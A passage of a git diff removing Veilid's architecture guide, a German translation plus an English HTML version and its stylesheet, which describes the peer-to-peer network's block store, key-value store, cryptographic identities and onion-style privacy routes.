"Hi, ich bin Bonne!" sind 2 Sachen, die dem selben Benutzer gehören, aber unterschiedliche ID haben. Boones Benutzerbeschreibung und Marquettes Benutzerbeschreibung sind 2 Sachen, die zwei unterschiedlichen Benutzer gehören, aber dieselbe ID haben. - -KV Speicher Daten sind zustandsbehaftet, so dass Änderungen an ihnen vorgenommen werden könen. Boones Benutzerbeschreibung z.B. wird sicher nicht unverändert bleiben, sondern sich eher im Laufe der Zeit ändern, wenn er z.B. den Job wechselt oder sich neue Hobbies aneignet usw.. Die Zustandsbehaftung zusammen mit den beliebigen nutzer-definierten Identifiern (anstatt Prüfsummen auf Inhalte (Content Hashes)) führt dazu,dass man Boones Benutzerbeschreibung als abstrakte Sache betrachten kann und sich für Update auf diese registrieren kann. - -### Datenstrukturierung - -Mit der Verbindung aus Block Speicher und Key_Value Speicher ist es mögliche auch komplexe Konzepte zu kombinieren. Ein Song könnte z.B. an zwei Orten in Veilid verteilt abgelegt sein. Der Block Speicher würde dabei die Rohdaten speichern und der Key-Value Speicher würde eine Beschreibung zur Idee des Song abspeichern. Diese wäre vielleicht in Form eines JSON Objekts mit Metadaten über den Song wie dem Titel, den Komponisten, das Datum, die Codierungsinformationen usw. ebenso wie die ID der Daten im Block Speicher. Wir können dann auch verschiedene Versionen der JSON Daten abspeichern, wenn das Stück aktualisiert, verbessert, überarbeitet oder was auch immer wird. Jede Version würde auf einen anderen Block im Block Speicher verweisen. Es ist immer noch "derselbe Song" aus konzeptueller Sicht und somit hat er auch dieselbe ID im KV Speicher, aber die Rohbits, die damit verbunden sind, sind für jede Version unterschiedlich. - -Ein anderes Beispiel (wenn auch mit einer noch etwas schwächeren Verbindung zum Block Speicher) wäre die Beschreibung eines Profilbildes. "Marquettes Profilbild" ist eine sehr abstrakte Beschreibung und genau genommen sind können sich die Bits, die damit zusammenhängen, im Laufe der Zeit stark variieren. So könnte es nicht nur verschiedene Versionen des Bildes, sondern auch komplett andere Bilder geben. Vielleicht ist es an einem Tage eine Foto von Marquette und am nächsten Tag ist es das Foto einer Blume. - -In Soziale Medien finden sich viele Beispiel für solche Konzepte: Freundeslisten, Blocklisten, Indizes von Postings und Favoriten-Listen. Die sind alle zustandsbehaftete Beschreibungen einer bestimmten Art: Eine stabile Referenz auf eine Sache, aber der genaue Inhalt der Sache verändert sich im Laufe der Zeit. Das ist genau das, was wir im KV Speicher ablegen wollen und sich somit vom Block Store abgrenzt, auch wenn diese Daten auf die Inhalte des Block Store referenzieren. - -### Peer- und Benutzeridentität - -Es gibt zwei Darstellungen von Identitäten im Netzwerk: Die Peer- und die Benutzeridentität. Die Peeridentität ist einfach genug: Jeder Peer hat ein kryptografisches Schlüsselpaar, das er benutzt, um mit anderen Peers sicher zu kommunizieren und zwar für beides: Traditionelle verschlüsselte Kommuniktion und auch durch verschiedene verschlüsselte Routen. Die Peeridentität ist nur die ID einer bestimmten Instanz der Veilid Software, die auf einem Computer läuft. - -Die Benutzeridentität wird deutlich umfassender genutzt. Benutzer (also Leute) wollen auf das Veilid Netzwerk zugreifen, so dass sie eine konsistente Identität über Geräte und Apps/Programme hinweg haben. Da aber Veilid keine Server in traditionellen Sinne hat, können wir nicht auf das normale Konzept von Benutzer-"Konten" zurückgreifen. Würde man das tun, würden Zentralisierungsspunkte im Netzwerk eingeführt werden, die in klassischen System oft die Quelle von Problemen gewesen sind. Viele Mastodon Benutzer habe sich schon in schwierigen Situationen befunden, wenn Ihre Instanzen Schwierigkeiten mit Ihren Sysadmin hatten und diese dann plötzlich die Instanzen abschalteten ohne vorher genug zu warnen. - -Um diese Re-Zentralisierung von Identitäten zu vermeiden, nutzen wir kryptografische Identitäten auch für alle Benutzer. Das Schlüsselpaar den Benutzers wird zum Signieren und Verschlüsseln ihrer Inhalte benutzt, wie es notwendig ist, wenn man Inhalte auf den Datenspeicher veröffentlichen will. Ein Benutzer wird als "in seine Client App/Anwendung eingeloggt" bezeichnet, wenn die App/Anwendung eine Kopie seines privaten Schlüssels hat. Wenn man in eine Client App eingeloggt, dann verhält sie sich wie jede andere der Client Apps des Benutzers und ermöglicht es ihm Inhalte zu ent- und verschlüsseln,Nachrichten zu signieren und so weiter. Schlüssel können in neue Apps eingefügt werden, um sich in diese einzuloggen. Dies erlaubt dem Benutzer so viele Client Apps (auf jeder beliebigen Anzahl an Geräten zu haben) wie sie haben wollen. - -* * * - -## Am Boden - -Die Vogelperspektive macht es möglich alles auf einmal im Kopf zu behalten, dafür lässt sie aber viele Implementierungsdetails weg. Deswegen ist es jetzt an der Zeit auf den "Boden" zurückzukehren und sich die Hände schmutzig zu machen. Grundsätzlich sollten es genug Informationen sein, um eine System ähnliche wie Veilid zu implementieren (mit der Ausnahmen von spezifischen Details der APIs und Datenformate). Dieser Anschnitt enthält keinen Code. Er ist keine Dokumentation des Codes selber, sondern der Kern eine Whitepapers. - -### Peer Netwerk im Detail - -Lasst uns als Erstes das Peer Netzwerk ansehen, weil seine Struktur die Basis für den Rest des Datenspeicherungsansatz bildet. Veilids Peer Netzwerk ist in der Art ähnlich zu anderen Peer to Peer Systemen, dass es sich von oben auf auf andere Protokolle legt und diese überlagert. Veilid versucht auf seine Art protokoll-agnostisch zu sein und ist aktuell entworfen um TCP, UDP, WebSocket und WebRTC sowie verschiedene Methoden zu Überwindung von NATs zu nutzen, so dass Veilid Peers auch Smartphones oder Computer bei unvertrauenswürdigen Internetanbietern und Ähnlichem seien können. Um das sicher zu stellen werden Peers nicht über eine Netzwerk Identität wie IP Adressen identifiziert, sondern über eine kryptografische Schlüsselpaar, das durch den Peer festgelegt wird. Jeder Peer veröffentlicht/bewirbt eine Menge von Optionen wie man mit Ihm kommunizieren kann. Diese nennt sich Dial Info und wenn ein Peer mit einem Anderen sprechen will, dann besorgt er sich die Dial Info von dem Peer aus dem Netzwerk und nutzt diese um zu kommunizieren. - -Wenn sich ein Peer erstmalig mit Veilid verbindet, dann macht er dass in dem er die "Bootstrap Nodes" kontaktiert, die einfache IP Adressen Dial Infos haben, für die durch die Netzwerk Maintainer garantiert wird, dass diese (zeit-) stabil sind. Diese Bootstrap-Peers sind die ersten Einträge in der Routing Tabelle des Peers. Die Routing Tabelle ist ein sortiertes Adressbuch mit dem man feststellen kann, wie man mit einem Peer sprechen kann. - -Die Routing Tabelle besteht aus einer Zuordnung öffentlicher Schlüssel der Peers zu einer nach Priorität sortierten Auswahl von Dial Infos. Um die Routing Tabelle zu befüllen, fragt der Peer andere Peers was seine Nachbarn im Netzwerk sind. Die Bezeichnung "Nachbar" ist hier über ein Ähnlichkeitsmaß bezüglich der Peer IDs definiert (genauer gesagt dem XOR Maß das viele Verteilte Hash Tables (DHTs) nutzen). Im Verlauf der Interaktionen mit dem dem Netzwerk wird der Peer die Dail Infos aktualisieren, wenn er Veränderungen feststellt. Ebenso kann er auch Dail Info für Peers abhängig von Ihrer Peer ID hinzufügen, die er im Verlauf entdeckt. - -Um mit einen bestimmten Peer zu sprechen wird seine Dail Info in der Routing Tabelle nachgeschlagen. Wenn es eine Dail Info gibt, dann werden die Optionen in der durch die Routing Tabelle festgelegten Priorisierungsreihenfolge durchprobiert. Falls es die Dail Info nicht gibt, dann muss der Peer die Dail Info aus den Netzwerk anfragen. Dabei schaut er in seine Routing Tabelle, um den Peer zu finden der entsprechend der XOR Maß der nächstgelegene zum Zielpeer ist und schickt ihm einen RPC Aufruf mit dem Namen "find-node". Für jede gegebene Peer ID antwortet der Empfänger des "find-node" auf Rufs mit den Dial Infos der Peers in seiner Routing Tabelle, die der ID am nächsten sind. Die bringt den Peer näher an sein Ziel und zumindest in die Richtung des Peers nach dem er fragt. Wenn die Info des gewünschten Peers in der Antwort des Aufrufs enthalten war, dann ist der Vorgang beendet, sonst sendet er weiter "find-node" Aufrufe um dem gewünschten Zielpeer näher zu kommen. So bahnt er sich seinen Weg und versucht verschiedene alternative Peers (falls notwendig), in dem er den Nächsten als Erstes fragt, bis er entweder die gewünschte Dail Info findet oder das gesamte Netzwerk durchsucht hat oder den Vorgang abbricht. - -### Benutzerprivatsphäre -Um sicherzustellen, dass Benutzer mit ein gewissen Maß an Privatsphäre in Veilid teilnehmen können, muss man sich um die Herausforderung kümmern, dass wenn man sich mit Veilid verbindet folglich auch mit anderen Nodes kommuniziert und somit IP Adressen teilt. Der Peer eines Benutzers wird deshalb regelmäßig RPC-Aufrufe erstellen, die die Identifikationsinformationen des Benutzer mit den IDs seiner Peers in Zusammenhang bringt. Veilid ermöglicht Privatsphäre durch die Nutzung einer RPC-Weiterleitungsmechanismus, der Kryptographie vergleichbar mit so genanntem "Onion Routing" nutzt. Hierbei wird der Kommunikationspfad zwischen dem tatsächlich ursprünglichen sendenden Peer und des schlussendlich final empfangenden Peer versteckt, in dem man über mehrere dazwischen liegenden Peers springt. - -Der spezifisches Ansatz den Veilid bezüglich Privatsphäre hat ist zweiseitig: Privatsphäre des Senders und Privatsphäre des Empfängers. Jeweils einer oder beide könnten sich Privatsphäre wünschen oder für sich ausschließen. Um die Privatsphäre des Sender sicherzustellen nutzt Veilid etwas das sich „Safety Route" nennt: Eine Sequenz Peers beliebiger Größer, die durch den Sender ausgewählt wird, der die Nachricht sendet. Die Sequenz von Adressen werden (wie bei einer Matryoshka Puppe) verschlüsselt ineinander geschachtelt, so dass jeder Hop den Vorherigen und den Nächsten sehen kann, aber kein Hop die gesamte Route sehen kann. Dies ist ähnliche zu einer TOR (The Onion Router) Route, mit dem Unterschied, dass nur die Adressen für jeden Hop verschlüsselt sind. Die Route kann für jede Nachricht, die geschickt wird, zufällig gewählt werden. - -Die Privatsphäre des Empfängers ist sofern ähnlich als das es dort auch eine Schachtelung von verschlüsselten Adressen gibt, aber mit dem Unterschied, dass die verschiedenen Adressen vorab geteilt worden sein müssen, weil es um eingehende Nachrichten geht. Diese werden „Private Routen“ genannt und sie werden als Teil der öffentlichen Daten eine Benutzers im KV Speicher veröffentlicht. Um volle Privatsphäre an beiden Enden sicherzustellen, wird eine Private Route als endgültiges Ziel einer Safety Route genutzt und die gesamt Route ist die Zusammensetzung aus beiden, so dass weder der Sender noch der Empfänger die IP adressiere des Anderen wissen. - -Jeder Peer im Hop (einschließlich des initialen Peers) sendet einen "route" RPC Aufruf an den nächsten Peer im Hop, mit dem Rest der Gesamtroute (safety + private), die mit den Daten in der Kette weitergereicht wird. Der letzte Peer entschlüsselt den Rest der Route, die dann leer ist und kann sich dann den weitergeleiteten RPC ansehen und dann entsprechend diesem handeln. Der RPC selber muss nicht verschlüsselt sein, aber es ist gute Praxis diesen für den finalen Peer zu verschlüsseln, so dass die Peers dazwischen den User nicht durch Analyse des Datenverkehrs de-anonymisieren können. - -Nimm bitte zur Kenntnis, dass die Routen benutzerorientiert sind. Sie sollten so verstanden werden, dass sie einen Möglichkeit darstellen mit einem bestimmten Benutzer-Peer zu sprechen, wo auch immer dieser ist. Jeder Peer in dieser Abfolge muss die tatsächlichen IP Adressen der Peers wissen, sonst können sie nicht kommunizieren. Aber die Savety und die Private Routes machen es schwer die Identität des Benutzer mit der Identität seiner Peers zusammenzubringen. Du weißt nur, dass der Nutzer irgendwo im Netzwerk ist, aber Du weißt nicht welche seine Adresse ist, auch wenn Du die Dail Infos seiner Peers in der Routing Tabelle gespeichert hast. - -### Block Speicher im Detail - -Wie bereits in der Vogelperspektive erwähnt ist es das Ziel des Blockspeichers inhaltsadressierbare Blocks von Daten zu speichern. Wie viele andere Peer to Peer Systeme zum Speichern von Daten nutzt auch Veilid verteilte Hash Tabellen (DHTs) als Kern des Block Speichers. Die Blockspeicher DHT hat als Schlüssel BLAKE3 Prüfsummen der Block Inhalte. Für jeden Schlüssel hält die DHT eine Liste von Peer IDs vor, die im Netzwerk deklariert wurden, dass sie den Block bereitstellen können. - -Wenn ein Peer den Block bereitstellen möchte, dann macht einer einen "supply_block" RPC Aufruf mit der ID des Blocks in das Netzwerk. Der Empfänger des Calls kann dann die Informationen speichern, die der Peer bezüglich des vorgesehenen Block bereitstellt (wenn er will). Er kann auch andere Peers zurückgeben, die näher an der Block ID dran sind, die auch die Information speichern sollte. Die Peers stellen abhängig davon wie nah sie an der Block ID sind fest, ob sie die Information speichern oder nicht. Es kann auch entscheiden werden den Block zwischenzuspeichern, um sich selbst als Anbieter zu deklarieren. - -So bereitgestellte Datensätze sind möglicherweise vergänglich, weil Peers das Netzwerk verlassen und somit ihre Informationen nicht mehr verfügbar sind. Deswegen wird jeder Peer, der einen Block bereitstellen will regelmäßig "supply_block" Nachrichten senden, um den Datensatz aktuell zu halten. Peers, die den Block zwischenspeichern, entscheiden an Hand der Popularität, des Speicherplatzes, der Bandbreite usw., die er übrig hat, wann das Zwischenspeichern endet. - -Um einen Block zu empfangen, der im Block Speicher gespeichert wurde, sendet ein Peer den "find_block" RPC Aufruf. Der Empfänger wird dann entweder den Block zurücksenden oder möglicherweise auch eine Liste von Anbietern für den Block zurücksenden, die er kennt oder er liefert eine Liste von Peers zurück, die näher an dem Block liegen als er selbst. - -Anders als bei BitTorrent sind Blocks nicht zwangsläufig Teil einer größeren Datei. Ein Block kann einfach eine einzelne Datei sein und dies wird oft der Fall für kleine Dateien sein. Größere Dateien können in kleinere Blocks aufgeteilt werden. In diesem Fall wird eine zusätzlicher Block mit einer Liste aus Block-Komponenten im Block Speicher gespeichert. Veilid selbst wird diese Block wie alle anderen Blocks behandeln und es gibt keinen eingebauten Mechanismus der festlegt, welchen Block man als erstes heruntergeladen oder teilen muss usw. (wie es sie bei BitTorrent gibt). Solche Features wäre dann abhängig von der Peer Software zu implementieren und können variieren. Verschiedene Clients werden auch die Möglichkeit haben zu entscheiden wie sie solche Block-Komponenten herunterladen wollen (z.B. automatisch, auf Eingabe des User oder etwas Anderes). - -Der Mechanismus (Blocks zu haben die auf andere Blocks verweisen) ermöglicht es auch die Nutzung von IPFS-artige DAGs mit hierarchischen Daten als einen möglichen Modus. Somit können ganze Verzeichnisstrukturen gespeichert werden (und nicht nur Dateien). Allerdings ist das (genau so wie die Subfile Blocks) kein eingebauter Teil von Veilid, sondern eher ein möglicher Verwendungsmodus. Wie sie dem Benutzer heruntergeladen und dargestellt werden, obliegt dem Client Programm. - -### Key-Value Speicher im Detail - -Der Key-Value Speicher ist eine DHT (ähnlich wie der Block Store). Allerdings statt inhaltsbezogener Hashes als Schlüssel, nutzt der KV Speicher Benutzer-IDs als Schlüssel (Achtung: _NICHT_ Peer IDs). Für einen gegebenen Key hat der KV Speicher eine hierarchische Key-Value Map, die im Prinzip beliebige Strings mit Werten verknüpft, die selber wiederum Nummern, Zeichenketten, ein Datum, Uhrzeiten oder andere Key-Value Maps sein können. Der spezifische Wert, der an einer ID des Users gespeichert wird, ist versioniert, so dass man bestimmte Schemata von Unterschlüsseln und Werten definieren kann, die dann entsprechend der unterschiedlichen Versionen vom Client anders behandelt werden. - -Wenn ein Nutzer wünscht Daten im Bezug auf ihren Schlüssel zu speichern, dann senden sie einen "set_value" RPC Aufruf an die Peers deren IDs am nächsten gemäß XOR Metric zu Ihrer eigenen ID liegen. Der Wert der dem RPC Aufruf mitgegeben wird ist ein Einzelwert, so dass das Netzwerk sicherstellen kann, dass nur der vorgesehene Nutzer Daten in seinem Key speichert. Die Peers, die den RPC Aufruf empfangen, können andere Peer IDs näher am Key zurückliefern (und so weiter), ähnlich wie auch beim den "supply_block" calls des Block Speichers. Am Ende werden einige Peers die Daten speichern. Der Peer des Users sollte regelmäßig die gespeicherten Daten aktualisieren, um sicher zu gehen, dass sie dauerhaft gespeichert bleiben. Es ist auch gute Praxis für den eigenen Peer des Benutzers, dass er seine eigene Daten in einem Cache (Zwischenspeicher) vorhält, so dass Client Programme den Peer des eigenen Benutzer als autorisierte Quelle der aktuellsten Daten verwenden kann. Hierfür ist es aber notwendig eine Route zu veröffentlichen, die es erlaubt das andere Peers dem eigenen Peer des Benutzers Nachrichten schicken. Eine private Route reicht hierfür aus. - -Der Abruf ist ähnlich wie der Abruf beim Block Store. Der gewünschte Key wird über eine "get_value" Call bereit gestellt, der einen Wert zurückliefern kann (oder eine Liste von Peers die näher am Key liegen). Am Ende werden die signieren Daten zurückgeliefert und der Empfänger kann verifizieren, dass diese tatsächlich dem spezifizierten Benutzer gehören in dem man die Signatur prüft. - -Beim Speichern und Abrufen von Daten ist es nicht notwendig, dass der im RPC Aufruf bereitgestellte Key ausschließlich die Benutzer ID sein muss. Er kann eine Liste von Zeichenketten beinhalten, die als Pfad zu gespeicherten Daten beim Benutzer Key diene, um damit spezifische Updates oder Abrufe durchzuführen. Dadurch wird der Datenverkehr im Netzwerk minimiert, weil nur die jeweils relevante Information umherbewegt wird. - -Der spezifische Inhalt des Benutzers Keys wird über das Protokoll bestimmt und im Besonderen von der Client Software. Frühe Versionen des Protokolls nutzen eine DHT-Schema-Version, die ein sehr einfaches Social-Network-orientiertes Schema definiert. Später Versionen werden mehr ein generischeres Schema ermöglichen, so dass Client Plug-ins reichhaltiger Informationen speichern und darstellen können. - -Die zustandsbehaftete Natur des Key Value Speichers bedeutet, dass sich Werte mit der Zeit ändern werden und es müssen Maßnahmen ergriffen werden, um auch auf diese Veränderungen zu reagieren. Ein Abfragemechanismus könnte verwendet werden, um regelmäßig abzufragen, ob neue Werte vorliegen, aber das wird zu einer Menge unnötigem Datenverkehrs im Netzwerk führen. Um das zu vermeiden erlaubt es Veilid, dass Peer einen "watch_value" RPC Aufruf senden, der einen DHT Key (mit Unterkeys) als Argument enthält. Der Empfänger würde dann einen Datensatz speichern, dass der Sender des RPC benachrichtigt werden möchte, wenn der Empfänger nachfolgend einen "set_value" RPC Aufruf erhält. In diesem Fall sendet der Empfänger dem sendenden Peer einen "value_changed" RPC Aufruf um ihm den neuen Wert zu übermitteln. Wie auch bei andere RPC Calls, muss auch "watch_value" regelmäßig neu gesendet werden, um das "Abonnement" für den Wert zu verlängern. Zusätzlich kann er Peers näher am Key zurückgegeben oder andere Peers die erfolgreich abonniert haben und so mit auch als Quelle dienen können. - -TODO: Wie vermeidet man das Replay Updates? Vielleicht über eine Sequenznummer einem signierten Patch? - - -## Anhang 1: Dial Info und Signaling - -## Anhang 2: RPC Listing diff --git a/docs/guide/guide.css b/docs/guide/guide.css deleted file mode 100644 index c583a4bf..00000000 --- a/docs/guide/guide.css +++ /dev/null @@ -1,28 +0,0 @@ -* { - font-family: sans-serif; -} - -body { - display: flex; - justify-content: center; -} - -#content { - width: 500px; - background-color: #eeeeee; - padding: 5px; -} - -.section-toc, .subsection-toc { - list-style: none; -} - -.section-name { - font-weight: 600; - margin-bottom: 5px; -} - -code { - font-family: monospace; - font-weight: bold; -} diff --git a/docs/guide/guide.html b/docs/guide/guide.html deleted file mode 100644 index b2f641b2..00000000 --- a/docs/guide/guide.html +++ /dev/null @@ -1,255 +0,0 @@ - - - - - - - Veilid Architecture Guide - - - - - -
- -
- early α docs
- please don't share publicly -
- -

Veilid Architecture Guide

- -
- - - -
- -

From Orbit

- -

- The first matter to address is the question "What is Veilid?" The highest-level description is that Veilid is a peer-to-peer network for easily sharing various kinds of data. -

- -

- Veilid is designed with a social dimension in mind, so that each user can have their personal content stored on the network, but also can share that content with other people of their choosing, or with the entire world if they want. -

- -

- The primary purpose of the Veilid network is to provide the infrastructure for a specific kind of shared data: social media in various forms. That includes light-weight content such as Twitter's tweets or Mastodon's toots, medium-weight content like images and songs, and heavy-weight content like videos. Meta-content such as personal feeds, replies, private messages, and so forth are also intended to run atop Veilid. -

- -
- -

Bird's Eye View

- -

- Now that we know what Veilid is and what we intend to put on it, the second order of business is to address the parts of the question of how Veilid achieves that. Not at a very detailed level, of course, that will come later, but rather at a middle level of detail such that all of it can fit in your head at the same time. -

- -

Peer Network for Data Storage

- -

- The bottom-most level of Veilid is a network of peers communicating to one another over the internet. Peers send each other messages (remote procedure calls) about the data being stored on the network, and also messages about the network itself. For instance, one peer might ask another for some file, or it might ask for info about what other peers exist in the network. -

- -

- The data stored in the network is segmented into two kinds of data: file-like data, which typically is large, and textual data, which typically is small. Each kind of data is stored in its own subsystem specifically chosen to optimize for that kind of data. -

- -

Block Store

- -

- File-like content is stored in a content-addressable block store. Each block is just some arbitrary blob of data (for instance, a JPEG or an MP4) of whatever size. The hash of that block acts as the unique identifier for the block, and can be used by peers to request particular blocks. Technically, textual data can be stored as a block as well, and this is expected to be done when the textual data is thought of as a document or file of some sort. -

- -

Key-Value Store

- -

- Smaller, more ephemeral textual content generally, however, is stored in a key-value-store (KV store). Things like status updates, blog posts, user bios, etc. are all thought of as being suited for storage in this part of the data store. KV store data is not simply "on the Veilid network", but also owned/controlled by users, and identified by an arbitrary name chosen by the owner the data. Any group of users can add data, but can only change the data they've added. -

- -

- For instance, we might talk about Boone's bio vs. Boone's blogpost titled "Hi, I'm Boone!", which are two things owned by the same user but with different identifiers, or on Boone's bio vs. Marquette's bio, which are two things owned by distinct users but with the same identifier. -

- -

- KV store data is also stateful, so that updates to it can be made. Boone's bio, for instance, would not be fixed in time, but rather is likely to vary over time as he changes jobs, picks up new hobbies, etc. Statefulness, together with arbitrary user-chosen identifiers instead of content hashes, means that we can talk about "Boone's Bio" as an abstract thing, and subscribe to updates to it. -

- -

Structuring Data

- -

- The combination of block storage and key-value storage together makes it possible to have higher-level concepts as well. A song, for instance, might be represented in two places in Veilid: the block store would hold the raw data, while the KV store would store a representation of the idea of the song. Maybe that would consist of a JSON object with metadata about the song, like the title, composer, date, encoding information, etc. as well as the ID of the block store data. We can then also store different versions of that JSON data, as the piece is updated, upsampled, remastered, or whatever, each one pointing to a different block in the block store. It's still "the same song", at a conceptual level, so it has the same identifier in the KV store, but the raw bits associated with each version differ. -

- -

- Another example of this, but with even more tenuous connection between the block store data, is the notion of a profile picture. "Marquette's Profile Picture" is a really abstracted notion, and precisely which bits it corresponds to can vary wildly over time, not just being different versions of the picture but completely different pictures entirely. Maybe one day it's a photo of Marquette and the next day it's a photo of a flower. -

- -

- Social media offers many examples of these concepts. Friends lists, block lists, post indexes, favorites. These are all stateful notions, in a sense: a stable reference to a thing, but the precise content of the thing changes over time. These are exactly what we would put in the KV store, as opposed to in the block store, even if this data makes reference to content in the block store. -

- -

Peer and User Identity

- -

- Two notions of identity are at play in the above network: peer identity and user identity. Peer identity is simple enough: each peer has a cryptographic key pair that it uses to communicate securely with other peers, both through traditional encrypted communication, and also through the various encrypted routes. Peer identity is just the identity of the particular instance of the Veilid software running on a computer. -

- -

- User identity is a slightly richer notion. Users, that is to say, people, will want to access the Veilid network in a way that has a consistent identity across devices and apps. But since Veilid doesn't have servers in any traditional sense, we can't have a normal notion of "account". Doing so would also introduce points of centralization, which federated systems have shown to be a source of trouble. Many Mastodon users have found themselves in a tricky situation when their instance sysadmins burned out and suddenly shut down the instance without enough warning. -

- -

- To avoid this re-centralization of identity, we use cryptographic identity for users as well. The user's key pair is used to sign and encrypt their content as needed for publication to the data store. A user is said to be "logged in" to a client app whenever that app has a copy of their private key. When logged in a client app act like any other of the user's client apps, able to decrypt and encrypt content, sign messages, and so forth. Keys can be added to new apps to sign in on them, allowing the user to have any number of clients they want, on any number of devices they want. -

- -
- -

On The Ground

- -

- The bird's eye view of things makes it possible to hold it all in mind at once, but leaves out lots of information about implementation choice. It's now time to come down to earth and get our hands dirty. In principl, this should be enough information to implement a system very much like Veilid, with the exception perhaps of the specific details of the APIs and data formats. This section won't have code, it's not documentation of the codebase, but rather is intended to form the meat of a whitepaper. -

- -

Peer Network, Revisited

- -

- First, let's look at the peer network, since its structure forms the basis for the remainder of the data storage approach. Veilid's peer network is similar to other peer-to-peer systems in that it's overlaid on top of other protocols. Veilid tries to be somewhat protocol-agnostic, however, and currently is designed to use TCP, UDP, WebSockets, and WebRTC, as well as various methods of traversing NATs so that Veilid peers can be smartphones, personal computers on hostile ISPs, etc. To facilitate this, peers are identified not by some network identity like an IP address, but instead by peer-chosen cryptographic key-pairs. Each peer also advertises a variety of options for how to communicate with it, called dial info, and when one peer wants to talk to another, it gets the dial info for that peer from the network and then uses it to communicate. -

- -

- When a peer first connects to Veilid, it does so by contacting bootstrap peers, which have simple IP address dial info that is guaranteed to be stable by the maintainers of the network. These bootstrap peers are the first entries in the peer's routing table -- an address book of sorts, which it uses to figure out how to talk to a peer. The routing table consists of a mapping from peer public keys to prioritized choices for dial info. To populate the routing table, the peer asks other peers what its neighbors are in the network. The notion of neighbor here is defined by a similarity metric on peer IDs, in particular an XOR metric like many DHTs use. Over the course of interacting with the network, the peer will keep dial info up to date when it detects changes. It may also add dial info for peers it discovers along the way, depending on the peer ID. -

- -

- To talk to a specific peer, its dial info is looked up in the routing table. If there is dial info present, then the options are attempted in order of the priority specified in the routing table. Otherwise, the peer has to request the dial info from the network, so it looks through its routing table to find the peer who's ID is nearest the target peer according to the XOR metric, and sends it an RPC call with a procedure named find_node. Given any particular peer ID, the receiver of a find_node call returns dial info for the peers in its routing table that are nearest the given ID. This gets the peer closer to its destination, at least in the direction of the other peer it asked. If the desired peer's information was in the result of the call, then it's done, otherwise it calls find_node again to get closer. It iterates in this way, possibly trying alternate peers, as necessary, in a nearest-first fashion until it either finds the desire'd peer's dial info, has exhausted the entire network, or gives up. -

- -

User Privacy

- -

- In order to ensure that users can participate in Veilid with some amount of privacy, we need to address the fact that being connected to Veilid entails communicating with other peers, and therefore sharing IP addresses. A user's peer will therefore be frequently issuing RPCs in a way that directly associates the user's identifying information with their peer's ID. Veilid provides privacy by allowing the use of an RPC forwarding mechanism that uses cryptography to similar to onion routing in order to hide the path that a message takes between its actual originating peer and its actual destination peer, by hopping between additional intermediate peers. -

- -

- The specific approach that Veilid takes to privacy is two sided: privacy of the sender of a message, and privacy of the receiver of a message. Either or both sides can want privacy or opt out of privacy. To achieve sender privacy, Veilid use something called a Safety Route: a sequence of any number of peers, chosen by the sender, who will forward messages. The sequence of addresses is put into a nesting doll of encryption, so that each hop can see the previous and next hops, while no hop can see the whole route. This is similar to a Tor route, except only the addresses are encrypted for each hop. The route can be chosen at random for each message being sent. -

- -

- Receiver privacy is similar, in that we have a nesting doll of encrypted peer addresses, except because it's for incoming messages, the various addresses have to be shared ahead of time. We call such things Private Routes, and they are published to the key-value store as part of a user's public data. For full privacy on both ends, a Private Route will be used as the final destination of a Safety Route, and the total route is the composition of the two, so that neither the sender nor receiver knows the IP address of the other. -

- -

- Each peer in the hop, including the initial peer, sends a route RPC to the next peer in the hop, with the remainder of the full route (safety + private), forwarding the data along. The final peer decrypts the remainder of the route, which is now empty, and then can inspect the forwarded RPC to act on it. The RPC itself doesn't need to be encrypted, but it's good practice to encrypt it for the final receiving peer so that the intermediate peers can't de-anonymize the sending user from traffic analysis. -

- -

- Note that the routes are user oriented. They should be understood as a way to talk to a particular user's peer, wherever that may be. Each peer of course has to know about the actual IP addresses of the peers, otherwise it couldn't communicate, but safety and private routes make it hard to associate the user's identity with their peer's identity. You know that the user is somewhere on the network, but you don't know which IP address is their's, even if you do in fact have their peer's dial info stored in the routing table. -

- -

Block Store Revisited

- -

- As mentioned in the Bird's Eye View, the block store is intended to store content-addressed blocks of data. Like many other peer-to-peer systems for storing data, Veilid uses a distributed hash table as the core of the block store. The block store DHT has as keys BLAKE3 hashes of block content. For each key the DHT associates a list of peer IDs for peers that have declared to the network that they can supply the block. -

- -

- If a peer wishes to supply the block, it makes a supply_block RPC call to the network with the id of the block. The receiver of the call can then store the information that the peer supplies the designated block if it wants, and also can return other peers nearer to the block's ID that should also store the information. Peers determine whether or not to store this information based on how close it is to the block's ID. It may also choose to cache the block, possibly also declaring itself to be a supplier as well. -

- -

- Supplier records are potentially brittle because peers leave the network, making their information unavailable. Because of this, any peer that wishes to supply a block will periodically send supply_block messages to refresh the records. Peers that are caching blocks determine when to stop caching based on how popular a block is, how much space or bandwidth it can spare, etc. -

- -

- To retrieve a block that has been stored in the blockstore, a peer makes a find_block RPC. The receiver will then either return the block, or possibly return a list of suppliers for the block that it knows about, or return a list of peers that are closer to the block. -

- -

- Unlike BitTorrent, blocks are not inherently part of a larger file. A block can be just a single file, and often that will be the case for small files. Large files can be broken up into smaller blocks, however, and then an additional block with a list of those component blocks can be stored in the block store. Veilid itself, however, would treat this like any other block, and there are no built-in mechanisms for determining which blocks to download first, which to share first, etc. like there are in BitTorrent. These features would be dependent on the peer software's implementation and could vary. Different clients will also be able to decide how they want to download such "compound" blocks -- automatically, via a prompt to the user, or something else. -

- -

- The mechanism of having blocks that refer to other blocks also enables IPFS-style DAGs of hierarchical data as one mode of use of the block store, allowing entire directory structures to be stored, not just files. However, as with sub-file blocks, this is not a built-in part of Veilid but rather a mode of use, and how they're downloaded and presented to the user is up to the client program. -

- -

Key-Value Store, Revisited

- -

- The key-value store is a DHT similar to the block store. However, rather than using content hashes as keys, the KV store uses user IDs as keys (note: not peer IDs). At a given key, the KV store has a hierarchical key-value map that associates in-principle arbitrary strings with values, which themselves can be numbers, strings, datetimes, or other key-value maps. The specific value stored in at a user's ID is versioned, so that particular schemas of subkeys and values can be defined and handled appropriately by different versions of clients. -

- -

- When a user wishes to store data under their key, they send a set_value RPC to the peer's whose IDs are closest by the XOR metric to their own user ID. The value provided to the RPC is a signed value, so that the network can ensure only the designated user is storing data at their key. The peers that receive the RPC may return other peer IDs closer to the key, and so on, similar to how the block store handles supply_block calls. Eventually, some peers will store the data. The user's own peer should periodically refresh the stored data, to ensure that it persists. It's also good practice for the user's own peer to cache the data, so that client programs can use the user's own peer as a canonical source of the most-up-to-date value, but doing so would require a route to be published that lets other peers send the user's own peer messages. A private route suffices for this. -

- -

- Retrieval is similar to block store retrieval. The desired key is provided to a get_value call, which may return th value, or a list of other peers that are closer to the key. Eventually the signed data is returned, and the recipient can verify that it does indeed belong to the specified user by checking the signature. -

- -

